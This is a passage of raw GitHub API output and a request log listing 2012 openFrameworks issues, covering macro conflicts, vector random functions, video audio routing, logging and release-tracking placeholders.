(PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n {return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for compatability","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","comments":10,"milestone":null,"number":1007,"assignee":null,"closed_at":null,"title":"bug #defines in ofConstants conflict with other libraries","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-02-29T15:31:18Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3438233,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1007"},{"updated_at":"2012-03-01T13:02:37Z","body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","comments":12,"milestone":null,"number":1005,"assignee":null,"closed_at":null,"title":"feature ofRandom(ofVec3f) ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-02-29T06:32:03Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3432042,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1005"},{"updated_at":"2012-05-18T08:47:08Z","body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","comments":2,"milestone":null,"number":1001,"assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"OF app sound out not available from Jack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"created_at":"2012-02-27T14:59:34Z","state":"open","user":{"url":"https://api.github.com/users/enrike","gravatar_id":"cc2adbc6d91bf2288f34f60a547a82cd","login":"enrike","id":710785,"avatar_url":"https://secure.gravatar.com/avatar/cc2adbc6d91bf2288f34f60a547a82cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3401755,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1001"},{"updated_at":"2012-05-16T09:24:52Z","body":"// scissor\r\nvoid ofBeginScissor(ofRectangle &r);\r\nvoid ofBeginScissor(ofPoint &p, float w, float h);\r\nvoid ofBeginScissor(float x, float y, float w, float h);\r\nvoid ofEndScissor();\r\n\r\n\r\nthere is a problem with ofFBO due to the flip. I do not think that there is a way around it sooo just scale -1\r\n\r\nalso: \r\nextra ; removed \r\nlibs/openFrameworks/utils/ofUtils.cpp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/993","comments":10,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":993,"assignee":null,"closed_at":null,"title":"Of scissors","labels":[],"created_at":"2012-02-26T21:35:55Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3393466,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/993.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/993.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/993"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/993"},{"updated_at":"2012-02-25T20:25:00Z","body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","comments":0,"milestone":null,"number":987,"assignee":null,"closed_at":null,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-02-25T20:25:00Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3387163,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/987"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=5 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '38555'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"c720c465254b2a50d1fa3249bfd1c55a"'), ('date', 'Tue, 29 May 2012 06:43:38 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-22T23:34:17Z","body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","comments":16,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":985,"assignee":null,"closed_at":null,"title":"Make logging messages more informative","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-02-25T19:41:58Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386914,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/985"},{"updated_at":"2012-03-11T18:31:55Z","body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog calls.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","comments":5,"milestone":null,"number":984,"assignee":null,"closed_at":null,"title":"Replace printf() occurences by ofLog() in the core addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-02-25T19:36:51Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386889,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/984"},{"updated_at":"2012-02-27T13:35:34Z","body":"`ofVec2f` has a function called `average` which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","comments":4,"milestone":null,"number":976,"assignee":null,"closed_at":null,"title":"ofVec2f::average has unexpected/clumsy behaviour","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-02-25T03:45:02Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3382990,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/976"},{"updated_at":"2012-02-25T02:47:26Z","body":"Dummy issue to ensure that the 0076 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/972","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":0,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/10","number":10,"title":"0076 Release","due_on":"2012-10-29T07:00:00Z","open_issues":1,"created_at":"2012-02-25T02:46:26Z","state":"open","description":"","id":88838},"number":972,"assignee":null,"closed_at":null,"title":"0076 Release tracking issue","labels":[],"created_at":"2012-02-25T02:47:26Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382766,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/972"},{"updated_at":"2012-02-25T02:47:37Z","body":"Dummy issue to ensure that the 0075 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/971","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":0,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/9","number":9,"title":"0075 Release","due_on":"2012-09-24T07:00:00Z","open_issues":1,"created_at":"2012-02-25T02:46:15Z","state":"open","description":"","id":88837},"number":971,"assignee":null,"closed_at":null,"title":"0075 Release tracking issue","labels":[],"created_at":"2012-02-25T02:47:05Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382764,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/971"},{"updated_at":"2012-02-25T01:36:58Z","body":"Dummy issue to ensure that the 0080 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/970","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":0,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":970,"assignee":null,"closed_at":null,"title":"0080 Release tracking issue","labels":[],"created_at":"2012-02-25T01:36:54Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381982,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/970"},{"updated_at":"2012-02-25T01:36:37Z","body":"Dummy issue to ensure that the 0074 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/969","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":0,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/7","number":7,"title":"0074 Release","due_on":"2012-08-27T07:00:00Z","open_issues":1,"created_at":"2012-02-25T00:41:17Z","state":"open","description":"","id":88728},"number":969,"assignee":null,"closed_at":null,"title":"0074 Release tracking issue","labels":[],"created_at":"2012-02-25T01:36:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381977,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/969"},{"updated_at":"2012-02-24T04:31:01Z","body":"right now if you try and scale/rotate/etc before calling ofBackgroundGradient, it will fail.\r\n\r\npeople generally call ofBackground at the top of draw() so it shouldn't be a huge issue... but it does make it a little 'fragile'.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955","comments":0,"milestone":null,"number":955,"assignee":null,"closed_at":null,"title":"ofBackgroundGradient needs to be billboarded","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-02-24T04:31:01Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3367910,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/955"},{"updated_at":"2012-02-23T19:12:08Z","body":"Hello, I get a weird error trying to compile the movieplayerexample under linux64 :\r\n\r\n> `.text._ZN11ofBaseVideoD2Ev' referenced in section `.text._ZN11ofBaseVideoD1Ev[non-virtual thunk to ofBaseVideo::~ofBaseVideo()]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o): defined in discarded section `.text._ZN11ofBaseVideoD2Ev[_ZN11ofBaseVideoD5Ev]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o)\r\n\r\nMy version of OF is 007, it used to work under 0062...\r\n\r\nWhat should I do ?\r\n\r\nThanks","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933","comments":4,"milestone":null,"number":933,"assignee":null,"closed_at":null,"title":"Problem with moviePlayerExample under linux64","labels":[],"created_at":"2012-02-23T15:46:06Z","state":"open","user":{"url":"https://api.github.com/users/agrosjea","avatar_url":"https://secure.gravatar.com/avatar/e52c167621119d58d03c586bb053a633?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e52c167621119d58d03c586bb053a633","login":"agrosjea","id":1466085},"id":3357855,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/933"},{"updated_at":"2012-02-23T05:13:24Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931","comments":0,"milestone":null,"number":931,"assignee":null,"closed_at":null,"title":"ofCamera is not aware of ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-02-23T05:13:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351646,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/931"},{"updated_at":"2012-02-23T05:12:47Z","body":"do we need the ofOrientation parameter in ofSetupPerspective?\r\n\r\nit applies the rotation but if ofSetOrientation hasn't been called before passing the same orientation the results are not the expected.\r\n\r\nto test it:\r\n\r\nofSetOrientation(OF_ORIENTATION_90_LEFT);\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\nworks as expected but calling only \r\n\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\napplies a weird rotation cause the values of ofGetWidth(), ofGetHeight() are still the default ones\r\n\r\nis there any case where it's useful to call setupPerspective with a different orientation that the window has?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930","comments":0,"milestone":null,"number":930,"assignee":null,"closed_at":null,"title":"ofSetupPerspective ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-02-23T05:12:47Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351643,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/930"},{"updated_at":"2012-02-23T04:19:48Z","body":"Currently ofGetLogLevel returns the global log level aka for the \"OF\" module. It would be nice to be able to get the log level for user modules via:\r\n\r\n ofLogLevel level = ofGetLogLevel(\"myLogModule\");\r\n\r\nIt would as simple as adding the module as a string variable with a default of \"OF\".\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929","comments":0,"milestone":null,"number":929,"assignee":null,"closed_at":null,"title":"ofGetLogLevel should also accept modules","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-02-23T04:19:48Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351374,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/929"},{"updated_at":"2012-02-23T03:46:32Z","body":"Currently there is a ofBgColorPtr(), but maybe it's nice to have a ofGetBackground() that returns an ofColor object or a reference to one.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928","comments":0,"milestone":null,"number":928,"assignee":null,"closed_at":null,"title":"no ofGetBackground()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-02-23T03:46:32Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351170,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/928"},{"updated_at":"2012-02-22T19:12:56Z","body":"ofGetViewportWidth/Height returns 0 is called in an object destructor, while ofGetWidth/Height do not. Could the ofGetViewport size be set to the ofGetWidth/Height size instead of 0 be default?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926","comments":0,"milestone":null,"number":926,"assignee":null,"closed_at":null,"title":"ofGetViewportWidth/Height returns 0 at 